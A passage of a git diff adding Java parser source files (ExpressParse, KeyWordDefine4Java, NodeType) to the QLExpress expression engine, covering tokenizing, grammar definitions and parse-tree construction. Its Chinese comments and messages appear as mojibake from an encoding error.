{ + try { + result = ExpressUtil.loadClass(name); + } catch (Throwable ignore) { + } + return result; + } + if (Integer.TYPE.getName().equals(name)) { + return Integer.TYPE; + } + if (Short.TYPE.getName().equals(name)) { + return Short.TYPE; + } + if (Long.TYPE.getName().equals(name)) { + return Long.TYPE; + } + if (Double.TYPE.getName().equals(name)) { + return Double.TYPE; + } + if (Float.TYPE.getName().equals(name)) { + return Float.TYPE; + } + if (Byte.TYPE.getName().equals(name)) { + return Byte.TYPE; + } + if (Character.TYPE.getName().equals(name)) { + return Character.TYPE; + } + if (Boolean.TYPE.getName().equals(name)) { + return Boolean.TYPE; + } + } + if (this.packages != null) { + for (String aPackage : packages) { + String tmp; + if (aPackage.endsWith("." + name)) { + tmp = aPackage; + } else { + tmp = aPackage + "." + name; + } + try { + result = ExpressUtil.loadClass(tmp); + } catch (ClassNotFoundException ex) { + // ä¸åšä»»ä½•æ“作 + } + if (result != null) { + return result; + } + } + } + return null; + } +} + +class NullClass { +} diff --git a/src/com/ql/util/express/parse/ExpressParse.java b/src/com/ql/util/express/parse/ExpressParse.java new file mode 100644 index 00000000..40973368 --- /dev/null +++ b/src/com/ql/util/express/parse/ExpressParse.java @@ -0,0 +1,435 @@ +package com.ql.util.express.parse; + +import java.math.BigDecimal; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.IExpressResourceLoader; +import com.ql.util.express.config.QLExpressRunStrategy; +import com.ql.util.express.exception.QLCompileException; +import com.ql.util.express.exception.QLSecurityRiskException; +import com.ql.util.express.match.QLMatchResult; +import com.ql.util.express.match.QLPattern; + +public class ExpressParse { + + final NodeTypeManager nodeTypeManager; + final IExpressResourceLoader expressResourceLoader; + + /** + * 是å¦å¿½ç•¥charset类型的数æ®ï¼Œè€Œè¯†åˆ«ä¸ºstring,比如'a' -> "a" + * 在计算比如 '1'+'2'=='12' + */ + private boolean ignoreConstChar = false; + /** + * 是å¦éœ€è¦é«˜ç²¾åº¦è®¡ç®— + */ + private final boolean isPrecise; + + public boolean isIgnoreConstChar() { + return ignoreConstChar; + } + + public void setIgnoreConstChar(boolean ignoreConstChar) { + this.ignoreConstChar = ignoreConstChar; + } + + public ExpressParse(NodeTypeManager nodeTypeManager, IExpressResourceLoader iExpressResourceLoader, + boolean isPrecise) { + this.nodeTypeManager = nodeTypeManager; + this.expressResourceLoader = iExpressResourceLoader; + this.isPrecise = isPrecise; + } + + protected Word[] getExpressByName(String expressFileName) throws Exception { + String express = this.expressResourceLoader.loadExpress(expressFileName); + return WordSplit.parse(nodeTypeManager.splitWord, express); + } + + protected Word[] dealInclude(Word[] wordObjects) throws Exception { + boolean isInclude = false; + StringBuilder includeFileName = new StringBuilder(); + int point = 0; + List result = new ArrayList<>(); + while (point < wordObjects.length) { + if ("include".equals(wordObjects[point].word)) { + isInclude = true; + includeFileName.setLength(0); + } else if (isInclude && ";".equals(wordObjects[point].word)) { + isInclude = false; + Word[] childExpressWord = this.getExpressByName(includeFileName.toString()); + childExpressWord = this.dealInclude(childExpressWord); + result.addAll(Arrays.asList(childExpressWord)); + } else if (isInclude) { + includeFileName.append(wordObjects[point].word); + } else { + result.add(wordObjects[point]); + } + point = point + 1; + } + return result.toArray(new Word[0]); + } + + /** + * 进行å•è¯ç±»åž‹åˆ†æž + * + * @param rootExpressPackage + * @param wordObjects + * @param selfClassDefine + * @param dealJavaClass + * @return + * @throws Exception + */ + public List transferWord2ExpressNode(ExpressPackage rootExpressPackage, Word[] wordObjects, + Map selfClassDefine, boolean dealJavaClass) throws Exception { + List result = new ArrayList<>(); + String tempWord; + NodeType tempType; + int point = 0; + ExpressPackage tmpImportPackage = null; + if (dealJavaClass) { + tmpImportPackage = new ExpressPackage(rootExpressPackage); + //先处ç†import,import必须放在文件的最开始,必须以;ç»“æŸ + boolean isImport = false; + StringBuilder importName = new StringBuilder(); + while (point < wordObjects.length) { + if ("import".equals(wordObjects[point].word)) { + isImport = true; + importName.setLength(0); + } else if (";".equals(wordObjects[point].word)) { + isImport = false; + tmpImportPackage.addPackage(importName.toString()); + } else if (isImport) { + importName.append(wordObjects[point].word); + } else { + break; + } + point = point + 1; + } + } + + String originalValue = null; + Object objectValue = null; + NodeType treeNodeType = null; + Word tmpWordObject; + while (point < wordObjects.length) { + tmpWordObject = wordObjects[point]; + tempWord = wordObjects[point].word; + + char firstChar = tempWord.charAt(0); + char lastChar = tempWord.substring(tempWord.length() - 1).toLowerCase().charAt(0); + if (firstChar >= '0' && firstChar <= '9') { + if (!result.isEmpty()) { + // 对负å·è¿›è¡Œç‰¹æ®Šå¤„ç† + if ("-".equals(result.get(result.size() - 1).getValue())) { + if (result.size() == 1 + || result.size() >= 2 + && (result.get(result.size() - 2).isTypeEqualsOrChild("OP_LIST") + || result.get(result.size() - 2).isTypeEqualsOrChild(",") + || result.get(result.size() - 2).isTypeEqualsOrChild("return") + || result.get(result.size() - 2).isTypeEqualsOrChild("?") + || result.get(result.size() - 2).isTypeEqualsOrChild(":")) + && !result.get(result.size() - 2).isTypeEqualsOrChild(")") + && !result.get(result.size() - 2).isTypeEqualsOrChild("]") + ) { + result.remove(result.size() - 1); + tempWord = "-" + tempWord; + } + } + } + if (lastChar == 'd') { + tempType = nodeTypeManager.findNodeType("CONST_DOUBLE"); + tempWord = tempWord.substring(0, tempWord.length() - 1); + if (this.isPrecise) { + objectValue = new BigDecimal(tempWord); + } else { + objectValue = Double.valueOf(tempWord); + } + } else if (lastChar == 'f') { + tempType = nodeTypeManager.findNodeType("CONST_FLOAT"); + tempWord = tempWord.substring(0, tempWord.length() - 1); + if (this.isPrecise) { + objectValue = new BigDecimal(tempWord); + } else { + objectValue = Float.valueOf(tempWord); + } + } else if (tempWord.contains(".")) { + tempType = nodeTypeManager.findNodeType("CONST_DOUBLE"); + if (this.isPrecise) { + objectValue = new BigDecimal(tempWord); + } else { + objectValue = Double.valueOf(tempWord); + } + } else if (lastChar == 'l') { + tempType = nodeTypeManager.findNodeType("CONST_LONG"); + tempWord = tempWord.substring(0, tempWord.length() - 1); + objectValue = Long.valueOf(tempWord); + } else { + long tempLong = Long.parseLong(tempWord); + if (tempLong <= Integer.MAX_VALUE && tempLong >= Integer.MIN_VALUE) { + tempType = nodeTypeManager.findNodeType("CONST_INTEGER"); + objectValue = (int)tempLong; + } else { + tempType = nodeTypeManager.findNodeType("CONST_LONG"); + objectValue = tempLong; + } + } + treeNodeType = nodeTypeManager.findNodeType("CONST"); + point = point + 1; + } else if (firstChar == '"') { + if (lastChar != '"' || tempWord.length() < 2) { + throw new QLCompileException("没有关闭的字符串:" + tempWord); + } + tempWord = tempWord.substring(1, tempWord.length() - 1); + tempType = nodeTypeManager.findNodeType("CONST_STRING"); + objectValue = tempWord; + treeNodeType = nodeTypeManager.findNodeType("CONST"); + point = point + 1; + } else if (firstChar == '\'') { + if (lastChar != '\'' || tempWord.length() < 2) { + throw new QLCompileException("没有关闭的字符:" + tempWord); + } + tempWord = tempWord.substring(1, tempWord.length() - 1); + + treeNodeType = nodeTypeManager.findNodeType("CONST"); + if (tempWord.length() == 1 && !ignoreConstChar) { + //转æ¢ä¸ºå­—符串 + tempType = nodeTypeManager.findNodeType("CONST_CHAR"); + objectValue = tempWord.charAt(0); + } else { + tempType = nodeTypeManager.findNodeType("CONST_STRING"); + objectValue = tempWord; + } + + point = point + 1; + } else if ("true".equals(tempWord) || "false".equals(tempWord)) { + tempType = nodeTypeManager.findNodeType("CONST_BOOLEAN"); + treeNodeType = nodeTypeManager.findNodeType("CONST"); + objectValue = Boolean.valueOf(tempWord); + point = point + 1; + } else { + tempType = nodeTypeManager.isExistNodeTypeDefine(tempWord); + if (tempType != null && tempType.getKind() != NodeTypeKind.KEYWORD) { + //ä¸æ˜¯å…³é”®å­— + tempType = null; + } + if (tempType == null) { + boolean isClass = false; + String tmpStr = ""; + Class tmpClass = null; + if (dealJavaClass) { + int j = point; + while (j < wordObjects.length) { + tmpStr = tmpStr + wordObjects[j].word; + tmpClass = tmpImportPackage.getClass(tmpStr); + if (tmpClass != null) { + point = j + 1; + isClass = true; + // 编译期类型白åå•æ ¡éªŒ + if (!tmpClass.isPrimitive() && + !QLExpressRunStrategy.checkWhiteClassList(tmpClass)) { + throw new QLSecurityRiskException("脚本中引用了ä¸å®‰å…¨çš„类: " + + tmpClass.getCanonicalName()); + } + break; + } + if (j < wordObjects.length - 1 && ".".equals(wordObjects[j + 1].word)) { + tmpStr = tmpStr + wordObjects[j + 1].word; + j = j + 2; + continue; + } else { + break; + } + } + } + if (isClass) { + tempWord = ExpressUtil.getClassName(tmpClass); + originalValue = tmpStr; + tempType = nodeTypeManager.findNodeType("CONST_CLASS"); + objectValue = tmpClass; + } else if (this.nodeTypeManager.isFunction(tempWord)) { + tempType = nodeTypeManager.findNodeType("FUNCTION_NAME"); + point = point + 1; + } else if (selfClassDefine != null && selfClassDefine.containsKey(tempWord)) { + tempType = nodeTypeManager.findNodeType("VClass"); + point = point + 1; + } else { + tempType = nodeTypeManager.findNodeType("ID"); + point = point + 1; + } + } else { + point = point + 1; + } + } + result.add(new ExpressNode(tempType, tempWord, originalValue, objectValue, treeNodeType, tmpWordObject.line, + tmpWordObject.col)); + treeNodeType = null; + objectValue = null; + originalValue = null; + } + return result; + } + + public static void printTreeNode(StringBuilder builder, ExpressNode node, int level) { + builder.append(level).append(":"); + + for (int i = 0; i < level; i++) { + builder.append(" "); + } + builder.append(node); + if (builder.length() < 100) { + for (int i = 0; i < 100 - builder.length(); i++) { + builder.append(" "); + } + } + builder.append("\t").append(node.getTreeType().getName()).append("\n"); + + List childrenList = node.getChildrenList(); + if (childrenList != null && !childrenList.isEmpty()) { + for (ExpressNode item : childrenList) { + printTreeNode(builder, item, level + 1); + } + } + } + + public static void printTreeNode(ExpressNode node, int level) { + StringBuilder builder = new StringBuilder(); + printTreeNode(builder, node, level); + System.out.println(builder); + } + + public static void resetParent(ExpressNode node, ExpressNode parent) { + node.setParent(parent); + List childrenList = node.getChildrenList(); + if (childrenList != null && !childrenList.isEmpty()) { + for (ExpressNode item : childrenList) { + resetParent(item, node); + } + } + } + + /** + * æå–自定义的Class + * + * @param words + */ + public static void fetchSelfDefineClass(Word[] words, Map selfDefineClass) { + for (int i = 0; i < words.length - 1; i++) { + if ("class".equals(words[i].word)) { + selfDefineClass.put(words[i + 1].word, words[i + 1].word); + } + } + } + + public ExpressNode parse(ExpressPackage rootExpressPackage, String express, boolean isTrace, + Map selfDefineClass) throws Exception { + Word[] words = splitWords(express, isTrace, selfDefineClass); + return parse(rootExpressPackage, words, express, isTrace, selfDefineClass); + } + + public Word[] splitWords(String express, boolean isTrace, Map selfDefineClass) throws Exception { + Word[] words = WordSplit.parse(this.nodeTypeManager.splitWord, express); + if (isTrace) { + System.out.println("执行的表达å¼:" + express); + System.out.println("å•è¯åˆ†è§£ç»“æžœ:" + WordSplit.getPrintInfo(words, ",")); + } + words = this.dealInclude(words); + if (isTrace) { + System.out.println("预处ç†åŽç»“æžœ:" + WordSplit.getPrintInfo(words, ",")); + } + + //æå–自定义Class + if (selfDefineClass == null) { + selfDefineClass = new HashMap<>(); + } + fetchSelfDefineClass(words, selfDefineClass); + for (int i = 0; i < words.length; i++) { + words[i].index = i; + } + return words; + } + + public ExpressNode parse(ExpressPackage rootExpressPackage, Word[] words, String express, boolean isTrace, + Map selfDefineClass) throws Exception { + return parse(rootExpressPackage, words, express, isTrace, selfDefineClass, false); + } + + public ExpressNode parse(ExpressPackage rootExpressPackage, Word[] words, String express, boolean isTrace, + Map selfDefineClass, boolean mockRemoteJavaClass) throws Exception { + + List tempList = this.transferWord2ExpressNode(rootExpressPackage, words, selfDefineClass, + !QLExpressRunStrategy.isSandboxMode()); + if (isTrace) { + System.out.println("å•è¯åˆ†æžç»“æžœ:" + printInfo(tempList, ",")); + } + //比如用在远程é…置脚本,本地jvm并ä¸åŒ…å«è¿™ä¸ªjava类,å¯ä»¥ + if (mockRemoteJavaClass) { + List tempList2 = new ArrayList<>(); + for (int i = 0; i < tempList.size(); i++) { + ExpressNode node = tempList.get(i); + if ("new".equals(node.getValue()) && node.getNodeType().getKind() == NodeTypeKind.KEYWORD + && i + 1 < tempList.size() && !"CONST_CLASS".equals(tempList.get(i + 1).getNodeType().getName())) { + tempList2.add(node); + //å–出 ( å‰é¢çš„类路径作为configClasså称 + int end = i + 1; + StringBuilder configClass = new StringBuilder(tempList.get(end).getValue()); + end++; + while (!"(".equals(tempList.get(end).getValue())) { + configClass.append(tempList.get(end).getValue()); + end++; + } + NodeType nodeType = nodeTypeManager.findNodeType("VClass"); + ExpressNode vClassNode = new ExpressNode(nodeType, configClass.toString()); + tempList2.add(vClassNode); + //因为循环之åŽï¼Œi++,所以i=end-1 + i = end - 1; + } else { + tempList2.add(node); + } + } + tempList = tempList2; + if (isTrace) { + System.out.println("修正åŽå•è¯åˆ†æžç»“æžœ:" + printInfo(tempList, ",")); + } + } + + QLMatchResult result = QLPattern.findMatchStatement(this.nodeTypeManager, this.nodeTypeManager + .findNodeType("PROGRAM").getPatternNode(), tempList, 0); + if (result == null) { + throw new QLCompileException("语法匹é…失败"); + } + if (result.getMatchLastIndex() < tempList.size()) { + int maxPoint = result.getMatchLastIndex(); + ExpressNode tempNode = tempList.get(maxPoint); + throw new QLCompileException( + "还有å•è¯æ²¡æœ‰å®Œæˆè¯­æ³•åŒ¹é…:" + result.getMatchLastIndex() + "[" + tempNode.getValue() + ":line=" + tempNode.getLine() + + ",col=" + tempNode.getCol() + "] 之åŽçš„å•è¯ \n" + express); + } + result.getMatches().get(0).buildExpressNodeTree(); + ExpressNode root = (ExpressNode)result.getMatches().get(0).getRef(); + + //为了生æˆä»£ç æ—¶å€™è¿›è¡Œåˆ¤æ–­ï¼Œéœ€è¦è®¾ç½®æ¯ä¸ªèŠ‚点的父亲 + resetParent(root, null); + + if (isTrace) { + System.out.println("最åŽçš„语法树:"); + printTreeNode(root, 1); + } + return root; + } + + public static String printInfo(List list, String splitOp) { + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < list.size(); i++) { + if (i > 0) { + stringBuilder.append(splitOp); + } + stringBuilder.append(list.get(i)); + } + return stringBuilder.toString(); + } +} diff --git a/src/com/ql/util/express/parse/KeyWordDefine4Java.java b/src/com/ql/util/express/parse/KeyWordDefine4Java.java new file mode 100644 index 00000000..81220744 --- /dev/null +++ b/src/com/ql/util/express/parse/KeyWordDefine4Java.java @@ -0,0 +1,185 @@ +package com.ql.util.express.parse; + +public class KeyWordDefine4Java { + public final String[] splitWord = { + // ä½æ“作 + "^", "~", "&", "|", "<<", ">>", + + //四则è¿ç®— + "+", "-", "*", "/", "%", "++", "--", + + //åˆ†éš”ç¬¦å· + ".", ",", ":", ";", "(", ")", "{", "}", "[", "]", "?", + + //Booleanè¿ç®—ç¬¦å· + "!", "<", ">", "<=", ">=", "==", "!=", "&&", "||", + + "=", "/**", "**/", + + // lambda è¡¨è¾¾å¼ + "->" + }; + public final String[] keyWords = new String[] { + "mod", "nor", "in", + "for", "if", "when", "then", "else", "exportAlias", "alias", + "break", "continue", "return", "macro", "function", + "def", "exportDef", "new", "array", "anonymousNewArray", + "like", "class", "VClass", + "cast" + }; + public final String[] nodeTypeDefines = new String[] { + "ID:TYPE=WORDDEF", + "EOF:TYPE=WORDDEF", + "FUNCTION_NAME:TYPE=WORDDEF", + "FUNCTION_DEFINE:TYPE=WORDDEF", + "LEFT_BRACKET:TYPE=WORDDEF,DEFINE=(", + "RIGHT_BRACKET:TYPE=WORDDEF,DEFINE=)", + + "XOR:TYPE=WORDDEF,DEFINE=^", + "MAYBE:TYPE=WORDDEF,DEFINE=|", + "OR:TYPE=WORDDEF,DEFINE=||", + "LEFT_COMMENT:TYPE=WORDDEF,DEFINE=/**", + "RIGHT_COMMENT:TYPE=WORDDEF,DEFINE=**/", + "ARROW:TYPE=WORDDEF,DEFINE=->", + "MULTI:TYPE=WORDDEF,DEFINE=*", + + "CONST_BYTE:TYPE=WORDDEF", + "CONST_SHORT:TYPE=WORDDEF", + "CONST_INTEGER:TYPE=WORDDEF", + "CONST_LONG:TYPE=WORDDEF", + "CONST_FLOAT:TYPE=WORDDEF", + "CONST_DOUBLE:TYPE=WORDDEF", + "CONST_NUMBER:TYPE=WORDDEF,DEFINE=CONST_BYTE|CONST_SHORT|CONST_INTEGER|CONST_LONG|CONST_FLOAT|CONST_DOUBLE", + "CONST_CHAR:TYPE=WORDDEF", + "CONST_STRING:TYPE=WORDDEF", + "CONST_BOOLEAN:TYPE=WORDDEF", + "CONST_CLASS:TYPE=WORDDEF", + "CONST:TYPE=WORDDEF,DEFINE=CONST_NUMBER|CONST_CHAR|CONST_STRING|CONST_BOOLEAN|CONST_CLASS", + + "CHILD_EXPRESS:TYPE=EXPRESS,DEFINE=LEFT_BRACKET->CHILD_EXPRESS^$(RIGHT_BRACKET~|(EXPRESS$(,~$EXPRESS)" + + "*$RIGHT_BRACKET~))", + "[]:TYPE=EXPRESS,DEFINE=[~$EXPRESS*$]~#[]", + + "OP_LEVEL1:TYPE=OPERATOR,DEFINE=~|!", + "OP_LEVEL2:TYPE=OPERATOR,DEFINE=++|--", + "OP_LEVEL3:TYPE=OPERATOR,DEFINE=&|MAYBE|XOR|<<|>>", + "OP_LEVEL4:TYPE=OPERATOR,DEFINE=*|/|mod|%", + "OP_LEVEL5:TYPE=OPERATOR,DEFINE=+|-", + "OP_LEVEL6:TYPE=OPERATOR,DEFINE=in|like", + "OP_LEVEL7:TYPE=OPERATOR,DEFINE=>|>=|<|<=|==|!=", + "OP_LEVEL8:TYPE=OPERATOR,DEFINE=&&", + "OP_LEVEL9:TYPE=OPERATOR,DEFINE=OR|nor", + + "OP_LIST:TYPE=GROUP,DEFINE=OP_LEVEL1|OP_LEVEL2|OP_LEVEL3|OP_LEVEL4|OP_LEVEL5|OP_LEVEL6|OP_LEVEL7|OP_LEVEL8" + + "|OP_LEVEL9|=|LEFT_BRACKET|RIGHT_BRACKET|[|]|{|}", + + "PARAMETER_LIST:TYPE=STATEMENT,DEFINE=LEFT_BRACKET~$(RIGHT_BRACKET~|(EXPRESS$(,~$EXPRESS)*$RIGHT_BRACKET~))", + + "VAR_DEFINE:TYPE=EXPRESS,DEFINE=(CONST_CLASS|VClass->CONST_STRING)$(([$])#[])*$ID->CONST_STRING#def", + "EXPORT_VAR_DEFINE:TYPE=EXPRESS,DEFINE=exportDef^$CONST_CLASS$ID->CONST_STRING", + "NEW_OBJECT:TYPE=EXPRESS,DEFINE=new->NEW_OBJECT^$CONST_CLASS$PARAMETER_LIST", + "NEW_ARRAY:TYPE=EXPRESS,DEFINE=new->NEW_ARRAY^$CONST_CLASS$([]*)", + "ANONY_NEW_ARRAY:TYPE=EXPRESS,DEFINE=[->anonymousNewArray^$(]~|(EXPRESS$(,~$EXPRESS)*$]~))", + + "NEW_VIR_OBJECT:TYPE=EXPRESS,DEFINE=new->NEW_VIR_OBJECT^$VClass->CONST_STRING$PARAMETER_LIST", + + "OPDATA:TYPE=EXPRESS,DEFINE=ANONY_NEW_ARRAY|VAR_DEFINE|EXPORT_VAR_DEFINE|NEW_OBJECT|NEW_ARRAY|NEW_VIR_OBJECT" + + "|CHILD_EXPRESS|CONST|ID", + + "FIELD_CALL:TYPE=EXPRESS,DEFINE= .->FIELD_CALL^$(ID->CONST_STRING|class->CONST_STRING)", + "METHOD_CALL:TYPE=EXPRESS,DEFINE=.->METHOD_CALL^$(ID->CONST_STRING|FUNCTION_NAME->CONST_STRING)$PARAMETER_LIST", + "OBJECT_CALL:TYPE=EXPRESS,DEFINE=((COMMENT~)*$OPDATA$(COMMENT~)*)$(METHOD_CALL|FIELD_CALL)^*", + + "FUNCTION_CALL:TYPE=EXPRESS,DEFINE=(ID->CONST_STRING|FUNCTION_NAME->CONST_STRING)$PARAMETER_LIST#FUNCTION_CALL", + + "ARRAY_CALL:TYPE=EXPRESS,DEFINE=ARRAY_CALL_PRE$ARRAY_CALL_POST^*", + "ARRAY_CALL_PRE:TYPE=EXPRESS,DEFINE=(FUNCTION_CALL|OBJECT_CALL)$([->ARRAY_CALL^$EXPRESS$]~)^*", + "ARRAY_CALL_POST:TYPE=EXPRESS,DEFINE=(METHOD_CALL|FIELD_CALL)$([->ARRAY_CALL^$EXPRESS$]~)^*", + + "CAST_CALL:TYPE=EXPRESS,DEFINE=(LEFT_BRACKET~$CONST_CLASS$RIGHT_BRACKET~#cast)^*$((LAMBDA#LAMBDA)|ARRAY_CALL)", + "EXPRESS_OP_L1:TYPE=EXPRESS,DEFINE=OP_LEVEL1^*$CAST_CALL", + "EXPRESS_OP_L2:TYPE=EXPRESS,DEFINE=EXPRESS_OP_L1$OP_LEVEL2^*", + "EXPRESS_OP_L3:TYPE=EXPRESS,DEFINE=EXPRESS_OP_L2$(OP_LEVEL3^$EXPRESS_OP_L2)^*", + "EXPRESS_OP_L4:TYPE=EXPRESS,DEFINE=EXPRESS_OP_L3$(OP_LEVEL4^$EXPRESS_OP_L3)^*", + "EXPRESS_OP_L5:TYPE=EXPRESS,DEFINE=EXPRESS_OP_L4$(OP_LEVEL5^$EXPRESS_OP_L4)^*", + "EXPRESS_OP_L6:TYPE=EXPRESS,DEFINE=EXPRESS_OP_L5$(OP_LEVEL6^$EXPRESS_OP_L5)^*", + "EXPRESS_OP_L7:TYPE=EXPRESS,DEFINE=EXPRESS_OP_L6$(OP_LEVEL7^$EXPRESS_OP_L6)^*", + "EXPRESS_OP_L8:TYPE=EXPRESS,DEFINE=EXPRESS_OP_L7$(OP_LEVEL8^$EXPRESS_OP_L7)^*", + "EXPRESS_OP_L9:TYPE=EXPRESS,DEFINE=EXPRESS_OP_L8$(OP_LEVEL9^$EXPRESS_OP_L8)^*", + "EXPRESS_COMPUTER:TYPE=EXPRESS,DEFINE=EXPRESS_OP_L9", + + "EXPRESS_JUDGEANDSET:TYPE=EXPRESS,DEFINE=EXPRESS_COMPUTER$" + + "(?->EXPRESS_JUDGEANDSET^$EXPRESS_COMPUTER$:~$EXPRESS_COMPUTER)^{0:1}", + "EXPRESS_KEY_VALUE:TYPE=EXPRESS,DEFINE=EXPRESS_JUDGEANDSET$(:->EXPRESS_KEY_VALUE^$" + + "(EXPRESS_JUDGEANDSET|STAT_BLOCK))^{0:1}", + "EXPRESS_ASSIGN:TYPE=EXPRESS,DEFINE=EXPRESS_KEY_VALUE$(=^$EXPRESS_KEY_VALUE)^*", + + "EXPRESS_RETURN:TYPE=EXPRESS,DEFINE=return^$EXPRESS_ASSIGN", + "BREAK_CALL:TYPE=EXPRESS,DEFINE=break^", + "CONTINUE_CALL:TYPE=EXPRESS,DEFINE=continue^", + "ALIAS_CALL:TYPE=EXPRESS,DEFINE=alias^$ID->CONST_STRING$EXPRESS_ASSIGN", + "EXPORT_ALIAS_CALL:TYPE=EXPRESS,DEFINE=exportAlias^$ID->CONST_STRING$EXPRESS_ASSIGN", + + "OP_CALL:TYPE=EXPRESS,DEFINE=(ID->CONST_STRING|FUNCTION_NAME->CONST_STRING)$(EXPRESS$(,~$EXPRESS)*)" + + "#FUNCTION_CALL", + + "EXPRESS:TYPE=EXPRESS,DEFINE=BREAK_CALL|CONTINUE_CALL|EXPRESS_RETURN|ALIAS_CALL|EXPORT_ALIAS_CALL" + + "|EXPRESS_ASSIGN|OP_CALL", + + "STAT_SEMICOLON:TYPE=STATEMENT,DEFINE=;~|(EXPRESS$(EOF|;)~#STAT_SEMICOLON)", + + "STAT_IFELSE:TYPE=STATEMENT,DEFINE=(if|when->if)^$EXPRESS$then$(STAT_BLOCK|STATEMENT|EXPRESS)$else$" + + "(STAT_BLOCK|STATEMENT)", + "STAT_IF:TYPE=STATEMENT,DEFINE=(if|when->if)^$EXPRESS$then$(STAT_BLOCK|STATEMENT)", + "STAT_IFELSE_JAVA:TYPE=STATEMENT,DEFINE=(if|when->if)^$CHILD_EXPRESS$(STAT_BLOCK|STATEMENT|EXPRESS)$else$" + + "(STAT_BLOCK|STATEMENT)", + "STAT_IF_JAVA:TYPE=STATEMENT,DEFINE=(if|when->if)^$CHILD_EXPRESS$(STAT_BLOCK|STATEMENT)", + + "PARAMETER_DEFINE:TYPE=STATEMENT,DEFINE=LEFT_BRACKET->CHILD_EXPRESS^$(RIGHT_BRACKET~|(VAR_DEFINE$(," + + "~$VAR_DEFINE)*$RIGHT_BRACKET~))", + + "STAT_FOR:TYPE=STATEMENT,DEFINE=for^$(LEFT_BRACKET~$STATEMENT{0:2}$EXPRESS$RIGHT_BRACKET~#CHILD_EXPRESS)" + + "$STAT_BLOCK$;~*", + "STAT_MACRO:TYPE=STATEMENT,DEFINE=macro^$ID->CONST_STRING$STAT_BLOCK$;~*", + "STAT_FUNCTION:TYPE=STATEMENT,DEFINE=function^$ID->CONST_STRING$PARAMETER_DEFINE$STAT_BLOCK$;~*", + "STAT_CLASS:TYPE=STATEMENT,DEFINE=class^$VClass->CONST_STRING$PARAMETER_DEFINE$STAT_BLOCK$;~*", + + "COMMENT:TYPE=BLOCK,DEFINE=LEFT_COMMENT$(RIGHT_COMMENT@)*$RIGHT_COMMENT#COMMENT", + + "STATEMENT:TYPE=STATEMENT,DEFINE=COMMENT|STAT_IFELSE|STAT_IF|STAT_IFELSE_JAVA|STAT_IF_JAVA|STAT_FOR" + + "|STAT_MACRO|STAT_FUNCTION|STAT_CLASS|STAT_SEMICOLON", + "LAMBDA:TYPE=EXPRESS,DEFINE=(LAMBDA_PARAMETER_DEFINE|ID)$ARROW~$LAMBDA_BODY", + "LAMBDA_BODY:TYPE=BLOCK,DEFINE=STAT_BLOCK|EXPRESS", + "LAMBDA_PARAMETER_DEFINE:TYPE=STATEMENT,DEFINE=LEFT_BRACKET->CHILD_EXPRESS^$(RIGHT_BRACKET~|" + + "(ID->CONST_STRING$(,~$ID->CONST_STRING)*$RIGHT_BRACKET~))", + "STAT_BLOCK:TYPE=BLOCK,DEFINE={->STAT_BLOCK^$STAT_LIST$}~", + "STAT_LIST:TYPE=BLOCK,DEFINE=(STAT_BLOCK|STATEMENT)*", + "PROGRAM:TYPE=BLOCK,DEFINE=STAT_LIST#STAT_BLOCK", + }; + public final String[][] instructionFactoryMapping = { + {"^,~,!,++,--,&,|,<<,>>,*,/,mod,%,+,-,like,>,>=,<,<=,==,!=,&&,||,nor,=,return,alias,exportAlias,ARRAY_CALL", + "com.ql.util.express.instruction.OperatorInstructionFactory"}, + {"in", "com.ql.util.express.instruction.InInstructionFactory"}, + {"exportDef", "com.ql.util.express.instruction.OperatorInstructionFactory"}, + {"ID", "com.ql.util.express.instruction.LoadAttrInstructionFactory"}, + {"CONST,CONST_CLASS", "com.ql.util.express.instruction.ConstDataInstructionFactory"}, + {"[],STAT_SEMICOLON,STAT_BLOCK,FUNCTION_DEFINE,CHILD_EXPRESS", + "com.ql.util.express.instruction.BlockInstructionFactory"}, + {"def", "com.ql.util.express.instruction.DefineInstructionFactory"}, + {"NEW_OBJECT,NEW_ARRAY,anonymousNewArray", "com.ql.util.express.instruction.NewInstructionFactory"}, + {"FIELD_CALL", "com.ql.util.express.instruction.FieldCallInstructionFactory"}, + {"METHOD_CALL", "com.ql.util.express.instruction.MethodCallInstructionFactory"}, + {"cast", "com.ql.util.express.instruction.CastInstructionFactory"}, + {"break", "com.ql.util.express.instruction.BreakInstructionFactory"}, + {"continue", "com.ql.util.express.instruction.ContinueInstructionFactory"}, + {"FUNCTION_CALL", "com.ql.util.express.instruction.CallFunctionInstructionFactory"}, + {"if,EXPRESS_JUDGEANDSET", "com.ql.util.express.instruction.IfInstructionFactory"}, + {"for", "com.ql.util.express.instruction.ForInstructionFactory"}, + {"function,class", "com.ql.util.express.instruction.FunctionInstructionFactory"}, + {"macro", "com.ql.util.express.instruction.MacroInstructionFactory"}, + {"NEW_VIR_OBJECT", "com.ql.util.express.instruction.NewVClassInstructionFactory"}, + {"COMMENT", "com.ql.util.express.instruction.NullInstructionFactory"}, + {"EXPRESS_KEY_VALUE", "com.ql.util.express.instruction.KeyValueInstructionFactory"}, + {"LAMBDA", "com.ql.util.express.instruction.LambdaInstructionFactory"} + }; +} diff --git a/src/com/ql/util/express/parse/NodeType.java b/src/com/ql/util/express/parse/NodeType.java new file mode 100644 index 00000000..74731d26 --- /dev/null +++ b/src/com/ql/util/express/parse/NodeType.java @@ -0,0 +1,168 @@ +package com.ql.util.express.parse; + +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import com.ql.util.express.match.INodeType; +import com.ql.util.express.match.QLPattern; +import com.ql.util.express.match.QLPatternNode; + +public class NodeType implements INodeType { + private static final Pattern PATTERN = Pattern.compile("([,:])\\s*(([A-Z]|-|_)*)\\s*="); + private final NodeTypeManager manager; + private final String name; + private final String defineStr; + private NodeTypeKind kind; + private NodeType realNodeType; + private String instructionFactory; + + /** + * 模å¼åŒ¹é… + */ + private QLPatternNode qlPatternNode; + + protected NodeType(NodeTypeManager nodeTypeManager, String name, String defineStr) { + this.manager = nodeTypeManager; + this.defineStr = defineStr; + this.name = name; + } + + public static String[][] splitProperties(String str) { + Matcher matcher = PATTERN.matcher(str); + List list = new ArrayList<>(); + int endIndex = 0; + while (matcher.find()) { + if (!list.isEmpty()) { + list.get(list.size() - 1)[1] = str.substring(endIndex, matcher.start()).trim(); + } + list.add(new String[2]); + list.get(list.size() - 1)[0] = str.substring(matcher.start() + 1, matcher.end() - 1).trim(); + endIndex = matcher.end(); + } + if (!list.isEmpty()) { + list.get(list.size() - 1)[1] = str.substring(endIndex).trim(); + } + return list.toArray(new String[0][2]); + } + + public void initial() { + try { + int index = 